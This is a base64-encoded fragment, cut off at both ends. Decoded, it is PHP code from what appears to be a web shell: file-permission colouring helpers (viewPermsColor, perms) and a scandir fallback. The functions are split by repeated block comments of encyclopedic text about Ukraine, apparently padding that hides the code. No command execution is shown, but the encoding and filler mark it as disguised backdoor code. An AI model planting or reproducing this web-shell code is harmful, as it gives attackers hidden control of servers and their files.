J1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7IAovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWlmICghQGlzX3JlYWRhYmxlKCRmKSkKCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwoJZWxzZQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzAwQThBOD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgewoJCSRkaCAgPSBvcGVuZGlyKCRkaXIpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiAgICAJCSRmaWxlc1tdID0gJGZpbGVuYW1lOwoJCX0KLyoKClVrcmFpbmUgKFVrc